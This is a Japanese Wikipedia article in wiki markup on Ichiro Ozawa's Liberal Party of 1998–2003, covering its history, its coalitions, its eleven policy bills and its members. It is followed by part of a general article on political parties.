'''自由党'''(じゆうとう、{{lang-en|Liberal Party}})は、かつて存在した[[日本の政党]]。略称は'''自由'''、'''LP'''。[[日本]]憲政史上の他の「[[自由党 (曖昧さ回避)|自由党]]」と区別するため、党首の[[小沢一郎]]の名から'''小沢自由党'''と呼ばれることもある。[[1998年]][[1月5日]]に届け出、1998年[[1月6日]]に結党大会を開いた。但し、法的には[[新進党]]分党によるものであるため、1998年[[1月1日]]発足となる。[[2003年]][[9月26日]]、解党し[[民由合併|民主党に吸収合併]]された。
政策的には、[[小沢一郎]]の著書『[[日本改造計画]]』、新進党の政策「日本再構築宣言」を基に、[[小さな政府]]・[[規制緩和]]・[[市場原理主義|市場主義]]といった経済的[[新自由主義]]と、[[教育基本法]]見直しなどの政治的[[保守|保守主義]]をとり、改革を呼びかけた。[[スローガン]]は「日本一新」。国際的には、[[自由主義インターナショナル]]にオブザーバー参加した。
[[#政策|日本一新11法案]]を掲げ<ref name=isshin />、その性格と狙いとして、1.新しい日本の骨格をまとめた「新国家の設計図」、2.それぞれが独立した法律でありながら、全てがつながり合い、1つの法体系を成し、3.全体として、究極の目標である「自由で公正で開かれた社会」と「自立した国民による自立国家・日本」の実現、4.国会で多数派となり、政権を担ったら、直ちに11法案を成立させ、短期間で真の構造改革を断行できるようにし、5.新しい国家像と改革目標を具体的に国民に明示し、国民自身の決断と選択によって新しい日本をつくり上げる政治手法を確立することを掲げた<ref>https://www.eda-jp.com/pol/jiyuto/index.html</ref>。
== 党史 ==
[[File:1990年代の政党の離合集散.jpg|thumb|right|1990年代の政党の離合集散]]
[[小沢一郎]]を党首とする[[新進党]]は[[1997年]][[12月31日]]に分党し、[[1998年]][[1月6日]]に小沢を党首とし'''自由党'''が結成された(手続き上は[[1月1日]])。当初は100名以上の議員が集まると思われた<ref>田村重信『民主党はなぜ、頼りないのか 不毛の二大政党制の根源を探る』成甲書房、2007年4月13日</ref>が、予想を下回り、衆参両院合わせて54人(衆院42人、参院12人)の[[日本の国会議員|議員]]が参加するに留まった。
党名候補として「保守党」も候補に上がったが、[[河村たかし]]が提案した「'''自由党'''」<ref>[http://ikko.typepad.jp/blog/2011/02/%E5%B0%8F%E6%B2%A2%E8%87%AA%E7%94%B1%E5%85%9A%E3%81%AE%E5%90%8D%E4%BB%98%E3%81%91%E8%A6%AA%E3%81%AF%E6%B2%B3%E6%9D%91%E3%81%9F%E3%81%8B%E3%81%97%E6%B0%8F.html 小沢「自由党」の名付け親は、河村たかし氏] 衆議院議員 中塚一宏の「いっこうで行こう!」 閲覧2011年8月17日</ref>に決定した。
同年[[7月12日]]の[[第18回参議院議員通常選挙]]では6議席を獲得した([[参議院比例区|比例区]]5名、[[参議院一人区|一人区]]の[[和歌山県選挙区]]で[[鶴保庸介]]が他の[[野党]]の協力を得て初当選)。
参院選後の[[臨時会|臨時国会]]では[[与党]]が過半数割れしていた参議院での[[内閣総理大臣指名選挙|首班指名]]で[[民主党代表]]の[[菅直人]]に投票して野党共闘の構えを見せたが、菅が[[金融再生法]]の制定の際に「政局にしない」と発言。これを聞いた小沢は野党共闘を諦めて[[自由民主党 (日本)|自由民主党]]との提携に舵を切った。[[野中広務]][[内閣官房長官|官房長官]]が「小沢さんにひれ伏してでも協力をお願いしたい」と述べるなど、参議院で過半数を確保してねじれを解消したい自民党側からも連立を求める声があり協議が進んだ。同年[[11月19日]]に自民党との自自連立合意が成立した。
[[1999年]][[1月14日]]、[[小渕内閣 (第1次改造)|小渕第1次改造内閣]]に参画した自由党は[[政府委員]]の廃止、[[党首討論]]や[[副大臣]]制度の導入、[[衆議院|衆議院議員]]定数削減などの政策を推し進めて実現させた。しかし、同年10月に[[公明党]]が[[連立政権]]に参加するようになると次第に自由党の主張は取り入れられなくなった。また、小沢が自民党に選挙協力を求めたことが自民党側からの反発を招いた。結局、小沢は連立離脱を決断して[[2000年]][[4月1日]]に連立政権から離脱した。その際に連立継続を望む党内の[[海部俊樹]]、[[野田毅]]らは離党し[[保守新党|保守党]]を結成、自由党は分裂した。
同年[[6月25日]]の[[第42回衆議院議員総選挙]]では22議席を獲得。この選挙では小沢のキャラクターを前面に出し小沢が見えない手に殴られながらも前進するという[[コマーシャルメッセージ|CM]]が話題を呼んだ。
[[2001年]]には自由党の組織として[[小沢一郎政治塾]]を設立した。同年[[7月29日]]の[[第19回参議院議員通常選挙]]では6議席を獲得した(比例区4名、二人区の[[新潟県選挙区]]で[[森裕子]]・一人区の[[岩手県選挙区]]で[[平野達男]]が初当選)。
=== 民主党への合流とその後 ===
[[2002年]]、[[民主党 (日本 1998-2016)|民主党]]側から民主党と自由党の合併が提案された。民主党代表の[[鳩山由紀夫]]の失脚など紆余曲折があったが、自民党に対抗する勢力を結集するためとして鳩山の後任代表である菅直人と折衝を重ね、[[2003年]][[7月23日]]、民主党と合併することで合意した。自由党は[[9月26日]]に解党し、民主党に[[民由合併|吸収合併]]された。合併に際しては合併前の[[民主党の執行部]]、規約、政策を踏襲する方式がとられた。
小沢一郎は[[安倍晋三]]政権の[[2016年]]に再び、「生活の党と[[山本太郎]]となかまたち」から党名変更する形で'''[[自由党 (日本 2016-2019)|自由党]]'''の名称を復活させたが、安倍政権の野党としての自由党は[[新自由主義]]に反対し、政治的にも[[民共共闘]]にも参加するなど[[社会自由主義]]的な政党であった。こちらも2019年に民主党の後継政党の一つ(法的には民主党と同一政党)である[[国民民主党 (日本 2018)|国民民主党]]への合流が決まった。
== 政策 ==
2003年の「日本一新大綱」では、11からなる以下の法案を第156通常国会に提出した<ref name=isshin>{{Cite web|和書|publisher=自由党 |title=「日本一新大綱」日本一新十一基本法案を国民に問う |date=2003-07 |url=https://www.ozawa-ichiro.jp/hoan/11hoan00.htm |accessdate=2022-01-27}}</ref>。
* 税制改革基本法案 - [[社会保険料]]は現行水準以下に抑え、[[消費税法|消費税]]は全額を基礎的社会保障の財源に充てる<ref name=isshin />。
* 国民生活充実基本法案 - 所得控除を廃止する代わりに[[子ども・子育て支援法|子育て支援政策]]を行い、親と同居している世帯に対して「親手当」、子供がいる世帯に対して「[[子ども手当]]」を交付する<ref name=isshin />。
* 国民主導政治確立基本法案 - 第4条では「行政機関の職員は、他の法令に別段の定めがある場合を除き、国会議員等と面会し、政党における会議その他国会議員等が出席する会議に出席し、その他国会議員等に接触する行為をしてはならない。」と定められ、国会における法案審議への官僚の関与を禁止する<ref name=isshin />。
* 特殊法人等整理基本法案 - 特殊法人、日銀を除く認可法人、独立行政法人は、原則として三年以内に廃止あるいは民営化する<ref name=isshin />。
* 食料生産確保基本法案 - 米、小麦、大豆等については自由市場で取引する一方で、農家には生産費・所得保障制度を創設する<ref name=isshin />。
* 地球環境保全基本法案 - 地球環境の保全に率先して取り組む<ref name=isshin />。
* 人づくり基本法案 - [[教育基本法]]に追加となる形の教育法<ref name=isshin />。
* 安全保障基本法案 - [[自衛隊]]とは別に「国連平和協力隊」を創設し、PKOに取り組む<ref name=isshin />。
* 非常事態対処基本法案 - 内閣に総理大臣を議長とする「非常事態対処会議」を設ける<ref name=isshin />。
* 地方自治確立基本法案 - 中央政府の機能は、外交、防衛、基礎的社会保障といった国の根幹に関わる分野に限定する。その他は地方に財源移譲し、地方自治体は概ね300の市に再編成する。地方への個別補助金は廃止し一括交付金とする<ref name=isshin />。
さらに同年には、[[内閣法制局]]廃止法案を提出した<ref>{{Cite journal |和書| | journal= 衆議院 |date=2002 | title = 内閣法制局設置法を廃止する法律案(第154回国会 /衆第三五号) |url=https://www.shugiin.go.jp/internet/itdb_gian.nsf/html/gian/honbun/houan/g15405035.htm }}</ref>。
== 役職 ==
=== 歴代の代表常任幹事兼党首 ===
{| class="wikitable"
|-
! 代 !! colspan="2" | 党首 !! 在任期間
|-
! 1
| [[File:Ichiro Ozawa cropped 3 Yoshitaka Kimoto and Ichiro Ozawa 20010718.jpg|60px]] || [[小沢一郎]] || [[1998年]](平成10年)[[1月]] - [[2003年]](平成15年)[[9月]]
|-
|}
=== 歴代の常任幹事会・執行部役員表 ===
{| class="wikitable" style="text-align:center;"
|-
! colspan="7" | 自由党常任幹事会
|-
!width="15%"|代表常任幹事<br />兼 党首
!width="14%"|副党首
!width="15%"|幹事長
!width="14%"|政策調査会長
!width="14%"|国会対策委員長
!width="14%"|参議院議員会長
!width="14%"|最高顧問
|-
| rowspan="6" |[[小沢一郎]]
|[[西岡武夫]]
| rowspan="3" |[[野田毅]]
| rowspan="2" |[[井上喜一]]
| rowspan="2" |[[二階俊博]]
|[[平井卓志]]
| rowspan="2" |—
|-
| rowspan="5" |—
| rowspan="2" |[[扇千景]]
|-
| rowspan="4" |[[藤井裕久]]
|[[中西啓介]]
|[[海部俊樹]]
|-
| rowspan="3" |藤井裕久
|藤井裕久(兼)
| rowspan="2" |[[田村秀昭]]
| rowspan="3" |—
|-
| rowspan="2" |[[山岡賢次]]
|-
|[[西岡武夫]]
|-
|}
=== 閣僚経験者等 ===
; [[小渕内閣 (第1次改造)|小渕第1次改造内閣]]
* [[国務大臣]]
:: [[自治大臣]]兼[[国家公安委員会委員長]]:野田毅
; [[小渕内閣 (第2次改造)|小渕恵三第2次改造内閣]]
* 国務大臣
:: [[運輸大臣]]兼[[北海道開発庁#歴代の北海道開発庁長官等|北海道開発庁長官]]:二階俊博
* [[政務次官]]
:: [[外務省|外務]]政務次官:東祥三
:: [[防衛省|防衛]]政務次官:西村眞悟 【- 1999年(平成11年)10月20日辞任】‐ [[西川太一郎]]
:: [[経済企画政務次官]]:小池百合子
== 党勢の推移 ==
=== 衆議院 ===
{| class="wikitable" style="font-size:95%"
|-
!rowspan=2|選挙
!rowspan=2|当選/候補者
!rowspan=2|定数
!colspan=2|得票数(得票率)
!rowspan=2|備考
|-
!選挙区
!比例代表
|-
|(結党時)
|42/-
|style="text-align: right;"|500
|
|
|
|-
|[[第42回衆議院議員総選挙|第42回総選挙]]
|22/75
|style="text-align: right;"|480
|style="text-align: right;"|2,053,736(3.37%)
|style="text-align: right;"|6,589,490(11.01%)
|第42回総選挙前は18([[保守新党|保守党]]分裂のため)
|}
=== 参議院 ===
{| class="wikitable" style="font-size:95%"
|-
!rowspan=2|選挙
!rowspan=2|当選/候補者
!rowspan=2|非改選
!rowspan=2|定数
!colspan=2|得票数(得票率)
!rowspan=2|備考
|-
!選挙区
!比例代表
|-
|(結党時)
|12/-
|style="text-align: right;"|-
|style="text-align: right;"|252
|
|
|
|-
|[[第18回参議院議員通常選挙|第18回通常選挙]]
|6/21
|style="text-align: right;"|6
|style="text-align: right;"|252
|style="text-align: right;"|980,249(1.75%)
|style="text-align: right;"|5,207,813(9.28%)
|
|-
|[[第19回参議院議員通常選挙|第19回通常選挙]]
|6/31
|style="text-align: right;"|2
|style="text-align: right;"|247
|style="text-align: right;"|3,011,787(5.54%)
|style="text-align: right;"|4,227,148(7.72%)
|第19回通常選挙前は3(保守党分裂のため)
|}
(参考文献:[[石川真澄]](一部[[山口二郎]]による加筆)『戦後政治史』2004年8月、[[岩波書店]]・[[岩波新書]]、ISBN 4-00-430904-2)
*当選者に[[追加公認]]は含まず。追加公認には会派に加わった無所属を含む。
*『戦後政治史』にない追加公認は[https://www.shugiin.go.jp/internet/itdb_annai.nsf/html/statics/ugoki/h11ugoki/h11tokei/h11to02a.htm?OpenDocument 2 国会議員会派別議員数の推移(召集日ベース)](衆議院、1990年~1999年)・[https://www.shugiin.go.jp/internet/itdb_annai.nsf/html/statics/ugoki/h12ugoki/h12tokei/h12to02a.htm?OpenDocument 国会議員会派別議員数の推移(召集日ベース)](衆議院、1993年~2000年)・[https://www.shugiin.go.jp/internet/itdb_annai.nsf/html/statics/ugoki/h18ugoki/08siryo/h18kans10.htm?OpenDocument 2 国会議員会派別議員数の推移(召集日ベース)](衆議院、2000年~2006年)、[https://www.shugiin.go.jp/internet/itdb_annai.nsf/html/statics/ugoki/h11ugoki/h11tokei/h11to02b.htm?OpenDocument (2) 参議院](1990年~1999年)[https://www.shugiin.go.jp/internet/itdb_annai.nsf/html/statics/ugoki/h16ugoki/08siryo/h16kans16.htm (2) 参議院](1994年~2004年)にある、選挙直後の国会召集日の会派所属者数から判断した。ただし、第20回通常選挙直後の召集はない。
== 自由党議員一覧 ==
=== 衆議院議員 ===
{| class="wikitable"
|-
!colspan="4"|結党時(42名)
|-
|colspan="4"|〇小選挙区'''(27名)'''<small>▲保守党移籍17名 △民主党移籍1名 ▼公明党移籍2名 ※議員辞職1名</small>
|-
|width="25%"|[[達増拓也]](岩手1区)
|width="25%"|[[佐々木洋平 (政治家)|佐々木洋平]]▲(岩手3区)
|width="25%"|小沢一郎(岩手4区)
|width="25%"|[[岡島正之]]▲(千葉3区)
|-
|[[西川太一郎]]▲(東京14区)
|[[藤井裕久]](神奈川14区)
|[[河村たかし]]△(愛知1区)
|[[青木宏之 (政治家)|青木宏之]]▲(愛知2区)
|-
|[[吉田幸弘]]▲(愛知3区)
|[[三沢淳]]▲(愛知4区)
|[[青山丘]]▲(愛知7区)
|[[江崎鉄磨]]▲(愛知10区)
|-
|[[中井洽]](三重1区)
|[[谷口隆義]]▼(大阪5区)
|[[西田猛]]▲(大阪9区)
|[[石垣一夫]]▼(大阪10区)
|-
|[[西野陽]]▲(大阪13区)
|[[中村鋭一]]▲(大阪14区)
|[[西村眞悟]](大阪17区)
|[[松浪健四郎]]▲(大阪19区)
|-
|[[井上喜一]]▲(兵庫4区)
|[[小池百合子]]▲(兵庫6区)
|[[塩田晋]](兵庫10区)
|[[中西啓介]]▲(和歌山1区)
|-
|[[二階俊博]]▲(和歌山3区)
|[[西岡武夫]]※<ref>1998年2月に長崎県知事選に出馬のため一旦辞職するも落選。2000年の[[第42回衆議院議員総選挙]]で落選後、2001年の[[第19回参議院議員通常選挙]]で当選。</ref>(長崎1区)
|[[野田毅]]▲(熊本2区)
|
|-
|colspan="4"|〇比例区'''(15名)'''<small>▲保守党移籍2名 ▼公明党移籍3名</small>
|-
|[[鰐淵俊之]](比例北海道)
|[[菅原喜重郎]](比例東北)
|[[二見伸明]](比例北関東)
|[[武山百合子]](比例北関東)
|-
|[[東祥三]](比例東京)
|[[米津等史]](比例南関東)
|[[一川保夫]](比例北陸信越)
|[[鈴木淑夫]](比例東海)
|-
|[[安倍基雄]]▲(比例東海)
|[[久保哲司]]▼(比例近畿)
|[[西博義]]▼(比例近畿)
|[[佐藤茂樹_(政治家)|佐藤茂樹]]▼(比例近畿)
|-
|[[加藤六月]]▲(比例中国)
|[[西村章三]](比例四国)
|[[権藤恒夫]](比例九州)
|
|-
!colspan="4"|無所属から移籍(4名)
|-
|colspan="4"|〇小選挙区'''(2名)'''<small>▲保守党移籍1名</small>
|-
|[[海部俊樹]]▲(愛知9区)
|[[岩浅嘉仁]](徳島3区)
|colspan="2"|
|-
|colspan="4"|〇比例区'''(2名)'''<small>▲保守党移籍1名</small>
|-
|[[笹山登生]](比例東北)
|[[井上一成]]▲(比例近畿)
|colspan="2"|
|-
!colspan="4"|第42回衆議院議員総選挙時(22名‐小選挙区4名・比例区18名)
|-
|colspan="4"|〇前職・小選挙区'''(3名)'''
|-
|達増拓也(岩手1区)
|小沢一郎(岩手4区)
|藤井裕久(神奈川14区)
|
|-
|colspan="4"|〇新人・小選挙区'''(1名)'''
|-
|[[黄川田徹]](岩手3区)
|colspan="3"|
|-
|colspan="4"|〇前職・比例区'''(8名)'''<small>※議員辞職1名</small>
|-
|菅原喜重郎※<ref name="jisyokukuriage">2001年、菅原の議員辞職に伴い石原が繰り上げ当選。</ref>([[比例東北ブロック#第42回(2000年)|比例東北]])
|武山百合子([[比例北関東ブロック#第42回(2000年)|比例北関東]])
|東祥三([[比例東京ブロック#第42回(2000年)|比例東京]])
|鈴木淑夫(比例東京)
|-
|一川保夫([[比例北陸信越ブロック#第42回(2000年)|比例北陸信越]])
|中井洽([[比例東海ブロック#第42回(2000年)|比例東海]])
|西村眞悟([[比例近畿ブロック#第42回(2000年)|比例近畿]])
|[[塩田晋]](比例近畿)
|-
|colspan="4"|〇元職・比例区'''(3名)'''<small>※繰上当選1名</small>
|-
|[[山岡賢次]](比例北関東)
|[[土田龍司]]([[比例南関東ブロック#第42回(2000年)|比例南関東]])
|[[山田正彦 (政治家)|山田正彦]]([[比例九州ブロック#第42回(2000年)|比例九州]])
|
|-
||[[石原健太郎]]※<ref name="jisyokukuriage"/>(比例東海)
|colspan="3"|
|-
|colspan="4"|〇新人・比例区'''(7名)'''
|-
|[[工藤堅太郎 (政治家)|工藤堅太郎]](比例東北)
|[[高橋嘉信]](比例東北)
|[[樋高剛]](比例南関東)
|[[都築譲]](比例東海)
|-
|[[中塚一宏]](比例近畿)
|[[佐藤公治]]([[比例中国ブロック#第42回(2000年)|比例中国]])
|[[藤島正之]](比例九州)
|
|-
|colspan="4"|〇引退・落選
|-
|権藤恒夫
|西村章三
|米津等史
|岩浅嘉仁
|-
|笹山登生
|二見伸明
|鰐淵俊之
|
|-
|}
=== 参議院議員 ===
{| class="wikitable"
|-
!colspan="5"|結党時(12名)
|-
|colspan="5"|〇選挙区'''(4名)'''<small>※議員辞職1名</small>
|-
|width="20%"|[[高橋令則]]([[岩手選挙区|岩手]])
|width="20%"|都築譲([[愛知選挙区|愛知]])
|width="20%"|[[平井卓志]]([[香川選挙区|香川]])
|width="20%"|[[阿曽田清]]※([[熊本県選挙区|熊本]])
|width="20%"|
|-
|colspan="5"|〇比例区'''(8名)'''<small>▲保守党移籍3名 ※死去1名</small>
|-
|[[扇千景]]▲(比例)
|[[木暮山人]]※(比例)
|[[田村秀昭]](比例)
|[[永野茂門]](比例)
|[[平野貞夫]](比例)
|-
|[[星野朋市]]▲(比例)
|[[泉信也]]▲(比例)
|[[戸田邦司]](比例)
|colspan="2"|
|-
!colspan="5"|第18回参議院議員通常選挙時(6名‐選挙区1名・比例区5名)
|-
|colspan="5"|〇新人・選挙区(1名)<small>▲保守党移籍1名</small>
|-
|[[鶴保庸介]]▲(和歌山)
|colspan="4"|
|-
|colspan="5"|〇現職・比例区(2名)<small>▲保守党移籍1名</small>
|-
|泉信也▲
|平野貞夫
|colspan="3"|
|-
|colspan="5"|〇新人・比例区(3名)<small>▲保守党移籍2名</small>
|-
|[[入沢肇]]▲
|[[渡辺秀央]]
|[[月原茂皓]]▲
|colspan="2"|
|-
|colspan="5"|〇引退・落選
|-
|都築譲
|永野茂門
|平井卓志
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|-
!colspan="5"|第19回参議院議員通常選挙時(6名‐選挙区2名・比例区4名)
|-
|colspan="5"|〇新人・選挙区(2名)
|-
|[[平野達男]](岩手)
|[[森裕子]]([[新潟選挙区|新潟]])
|colspan="3"|
|-
|colspan="5"|〇現職・比例区(1名)
|-
|田村秀昭
|colspan="4"|
|-
|colspan="5"|〇新人・比例区(3名)
|-
|西岡武夫(比例)
|[[広野允士]](比例)
|[[大江康弘]](比例)
|colspan="2"|
|-
|colspan="5"|〇引退・落選
|-
|高橋令則
|戸田邦司
|colspan="3"|
|}
== 脚注 ==
<references />
== 関連項目 ==
* {{wayback|url=http://www.jiyuto.or.jp/|title=自由党 日本を立て直す具体策があります|date=20031026163356}}
* [[日本の政党一覧]]
* [[自公連立政権]]
{{小沢一郎}}
{{民主党}}
{{Normdaten}}
{{デフォルトソート:しゆうとう1998}}
[[Category:かつて存在した日本の政党]]
[[Category:日本の保守政党]]
[[Category:民主党 (日本 1998-2016)|前しゆうとう1998]]
[[Category:自由党 (日本 2016-2019)]]
[[Category:小沢一郎]]
[[Category:赤坂の歴史]]
[[Category:東京都港区の組織]]
[[Category:1998年設立の政党・政治団体]]
[[Category:2003年廃止の政党・政治団体]] | 2003-04-14T16:11:58Z | 2023-12-23T04:23:21Z | false | false | false | [
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6,746 | 政党 | 政党(せいとう)とは、共通の政治的目的を持つ者によって組織される政治団体である。選挙や革命を通じて政治権力を獲得、維持し、または政策決定過程に影響力を行使することによって、政策を実現しようとする。政党は市民革命以後の近代欧米諸国において、選挙制度とともに発達した。現代では欧米に留まらず、ほとんどの国において政党を基軸にした政治が展開されている。日本国内においては、政党助成法における政党要件を満たした政党(いわゆる国政政党)のみを指す場合もある。
政治において政策や主張に共通点のある者同士が集まって、意見の集約と統一された政策の形成を図り、政権を担当もしくは政策決定過程に影響力を持つことで政策の実現を図る集団を政党という。名士や有力者の活動家から成る名望家政党と、できるかぎり多数の党員を組織して彼らから資金を集めて代表者を党員による選挙で選ぶ大衆政党に大別できるが、実際にはほとんどの政党がこの2つのタイプの要素を混合して持っている。
政党の結成を結党、解散を解党といい、政党に加入している者を党員、その最高責任者を党首、党を外部から支持し援助する者を党友と呼ぶ。
また、政党の目的とその実現の道筋を定めた文書は一般に綱領と呼ぶ。歴史的には体制変革を目指す党、とりわけ社会主義政党は綿密な党綱領を持つことが多い。保守主義政党や中間政党のような特定の世界観を持たない党の場合は一般的・抽象的な綱領に留まることも多い。
政党の数や権力との関係による分析には、一党独裁制、複数政党制、ヘゲモニー政党制などがある。また政権に参加している政党を与党、参加していない政党を野党と呼ぶが、社会主義国では政党は共産党のみで野党は存在しないことが多い。
政党は社会に発生する紛争を政治問題として提示することが必要となる。ガブリエル・アーモンドはこの機能を利益表出機能と呼んだ。また、社会内部の様々な利益を集約し、政治へと反映させる機能がある。政党が政策という形で市民に対し利益の集約したものを提示し、政府に対してそれを提示して実行させるよう努める。これを利益集約機能と呼ぶ。また、政党が集約したわかりやすい政策や争点を市民に提示することで、市民の政治への理解・参加を促進させる機能も持つ。
政治指導者の補充・選出機能も重要である。政策の似通ったものから候補を選抜して選挙に出馬させ、当選すれば党内にて経験を積ませながら育成し、より高度な集団を率いることのできるようなリーダーを育成していく。そして政党の力を利用してそのリーダーを元首などの国家指導者に就任させる。この際政党は政府内部で内閣や大統領府を自らのメンバーを主体として組織し、政策決定機関を組織化することも行う。そして選挙によって勝利した政党は与党として政権を担当し、敗北した政党は野党として与党の政策の不備な点を批判し、監視・修正させる機能を持つ。この与党・野党は民主主義国家であれば選挙結果によって当然入れ替わりを生じるため、政党には政権担当能力・政権批判能力のどちらも保持していることが求められる。
一党独裁という用語があるとおり、独裁政治の場合でも、政党は決して無用なものではない。権威主義体制下における政党の機能としては、権力の共有を確保する機能が挙げられる。一党独裁国家において政権のトップには任期が定められていることも多く、後継者はふたたび党内から選出されるため、有力者が次期政権を獲得する期待を持つことが出来、武力による権力奪取の動きを抑える役割を果たすのである。一党制国家では上記のような権力継承のシステムが確立されているため、権威主義体制のなかでも安定度が高く長期化しやすい体制となっている。
政党の規律の強さは各国によって異なる。日本や西欧など議院内閣制の国家においては党内の規律が強く、各議員には党議拘束がかけられ、議会では党の決定の通りの投票をすることが求められる。これに対し、アメリカなどでは党の規律が弱く、各議員はそれぞれの判断に従って投票を行い、党議拘束はかけられない。
政党の収入は、党員から徴収する党費や、政党自身が運営する事業からの収入、政治献金などが主なものであり、収入の柱は各国・各党によって異なる。また、政府から政党に対し助成金が交付される国家も存在し、日本でも1995年以降政党交付金が各党に交付されている。
党内において共通点を持つ者が集まって党全体に影響を与えるために形成する集団は派閥と呼ばれる。派閥は資金や役職などの利得の配分をおもな機能とし、分派とは異なる。分派は一定の主張のもとに全体の路線の改変を狙い、場合によっては分裂も辞さない集団を指す。
政党はその国によって、様々なシステム(政党制)が存在する。政党制は、まずは政党の数によって一党制と複数政党制の二種類に分けられるのが通例である。一党制の国は政党の選択システムがないため政権交代が原理的に不可能であり、実質的には独裁制と同義である。名目上複数政党制となっている国においても、例えば中華人民共和国や1989年以前の東ヨーロッパのいくつかの国のように政権交代が原理上不可能であり、覇権政党と衛星政党しか存在しない、いわゆるヘゲモニー政党制の国家も存在し、こうした国は当然民主国家とはみなされない。実質的な多党制の敷かれている国においては、主に政党数や政党間の関係によっていくつかの種類に分けられる。モーリス・デュヴェルジェの分類においては二大政党制と多党制の2つに分類されていたが、のちにジョヴァンニ・サルトーリによってさらに細分化され、一党優位政党制、二大政党制、穏健な多党制、分極的多党制、原子化政党制の5つに分けられるようになった。また、このほかにもいくつかの政党制分類法が存在している。
各国の政党制は、当該国のさまざまな状況によって規定される。選挙制度と政党数には密接な関係があるとされており、1選挙区から1名のみ当選者を出す小選挙区制では政党が集約され二大政党制になりやすく、各党の得票率に応じて議席の配分される比例代表制においては多党制になりやすいとされる。最大党が議会の過半数の議席を獲得できなかった場合は、多くの場合連立政権を組織し過半数を確保するが、まれに過半数に満たないまま内閣を組織し政権を運営する場合もある。
また、政党はその政治主張やイデオロギーによってもいくつかに区分される。共産主義、社会主義、社会民主主義、民主社会主義、自由主義、キリスト教民主主義、保守主義などである。こうした政党はイデオロギーごとにそれぞれ国際組織を持っており、社会主義、社会民主主義、民主社会主義政党の所属する社会主義インターナショナルや、自由主義政党の所属する自由主義インターナショナル、保守主義政党の所属する国際民主同盟などが存在する。綱領に対して厳格な政党はイデオロギー政党と呼ばれることがある。
各国国内において、政党は政治的スペクトルによって分類される。現体制を維持し、伝統的価値を重視することに利益を見出し、急進的改革より漸進的改革を志向する政党は保守政党と呼ばれる。英国のトーリー党がその典型だったが、19世紀末頃から各国で社会主義政党が台頭してくると資本主義を擁護する政党を指して保守政党と呼ぶようになった。これに対して既成の国家体制に対して改革や革命を求める政党を革新政党と呼ぶ。一般に社会党や共産党のことを指す。ヨーロッパ諸国においては第二次世界大戦後は政党の包括政党化でイデオロギー対立が弱まり、保革両陣営を含む連立政権が成立するなど、政策距離は戦前ほど大きくなくなっていったが、日本では1990年代の55年体制崩壊の頃までは日米安保、自衛隊、天皇制、憲法改正などの争点をめぐって激しい保革の対立があった。左右どちらにも偏らない中間的な主張をする政党は中道政党と呼ばれ、穏健な革新政党は中道左派、穏健な保守政党は中道右派と呼ぶ。
他に、特定の地域の地方議会で活動するか、地域の利益を代弁する地域政党、教会や教団、宗教結社の社会生活における既得権や信仰の擁護を目的とする宗教政党、一つの主張のみを争点とし、他の政治問題・争点を主張しない単一争点政党(ワンイシュー政党・シングルイシュー政党)といった分類も存在する。
身分制議会の時代には議会の権限が弱く、また議員は出身母体の意思を正確に代理しなければならなかったため、政党は存在しなかった。しかし議会の権限が拡大して国家の意思決定機関となり、また議員への委任が緩和されて代表委任制が確立し、議員が議会内で自由な投票行動が取れるようになったこと、そして議会内で多数決原理が確立したことから議会内における政治集団の重要性が増大し、政党が成立した。
議員である有力者が議会運営のために作った名望家政党(幹部政党)が初期の政党である。普通選挙の採用にともない増加した選挙民との結合が困難になると、議会外に多くの党員を持つ大衆政党が出現した。新しい大衆政党の挑戦を受けて、以前の名望家政党も党員層を広げた。保守主義、自由主義の政党が名望家政党の形態をとることが多く、社会民主主義、共産主義の政党が大衆政党の形態をとることが多かった。次いで、ある一定の階級やグループに基盤を置くのではなく、社会全体のあらゆるグループから支持を集める政党が出現した。このタイプの政党は包括政党と呼ばれ、党員は薄く広く広がっているものの、議員が主導権を握っているのが特徴である。
マスメディアの発達によって著名な政治家・党の意見が直接選挙民に届くようになったため、党組織の役割は低下し、大衆政党もふるわなくなった。人々の関心が国政の長たる首相・大統領とそれら公職への候補個人に集中することで、政党の力はさらに低下したとする観測などがある。
だが、政党衰退に導くような現象が社会に浸透して数十年が経過した現在でも、理論的には起きるはずの選挙結果の流動化が起こっていない。先進民主主義国の多数の政党制は大きな変化なしに推移している。このことを、社会基盤を失った政党が、ただ選挙市場で既得権をもった独占者として生き延びているとして説明するのが、カルテル政党論である。
世論の政党に対する態度は、政党に対する反感、政党の容認、政党の法制化へと移り変わった。政党は本来私的結社でありなんら法的な根拠のあるものではなかったが、この結社が選挙を通じ議会や政府へと進出していくのに伴い、有権者と議会をつなぐ機能が有効なものと認められたため、徐々に政党は重視されるようになった。19世紀には政党は民主主義と相容れない存在という考え方が主流であったが、選挙権の拡大とともに政党の存在は大きなものとなり、政党を中心とする民主主義が成立した。
日本の政治資金規正法では以下のとおり規定している。
国会議員関係政治団体(以下の1.~3.)は、収支報告に関する特例が設けられている。
なお届出先は一つの都道府県区域で主として活動する政治団体の場合は都道府県の選挙管理委員会。政党や政治資金団体、二つ以上の都道府県にわたって主に活動する政治団体の場合は都道府県の選挙管理委員会を通した総務大臣である。
ほとんどの政党は、有権者が政党を認識し識別しやすくするために、シンボルカラーやシンボルマークを制定している。こうしたイメージ戦略は、文字の読めない人が投票用紙の文字の代わりにシンボルマークや色で判断して投票を行うため、識字率の低い国家ではとくに有効である。イデオロギーが同じである政党は、どの国でも同じシンボルカラーを使用する場合が多い。また、シンボルカラーは画像メディアで政党を表現する際にも利便性が高い。シンボルカラーによって政党連合を現わすこともできる。台湾における泛緑連盟や泛藍連盟などがこの例である。
ただし、色とイデオロギーの関係には一貫性がなく、同じイデオロギーでも別の国で別の色を使用することや、同じ国で別のイデオロギーの政党が同じシンボルカラーを使用することもけっして珍しくはない。たとえばアメリカ合衆国では、通常は共産主義や社会主義に用いられる赤を保守的な共和党が使用し、保守主義に用いられることの多い青をリベラルな民主党が使用している。 | [
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}
]
| 政党(せいとう)とは、共通の政治的目的を持つ者によって組織される政治団体である。選挙や革命を通じて政治権力を獲得、維持し、または政策決定過程に影響力を行使することによって、政策を実現しようとする。政党は市民革命以後の近代欧米諸国において、選挙制度とともに発達した。現代では欧米に留まらず、ほとんどの国において政党を基軸にした政治が展開されている。日本国内においては、政党助成法における政党要件を満たした政党(いわゆる国政政党)のみを指す場合もある。 | {{政党政治}}
{{政治}}
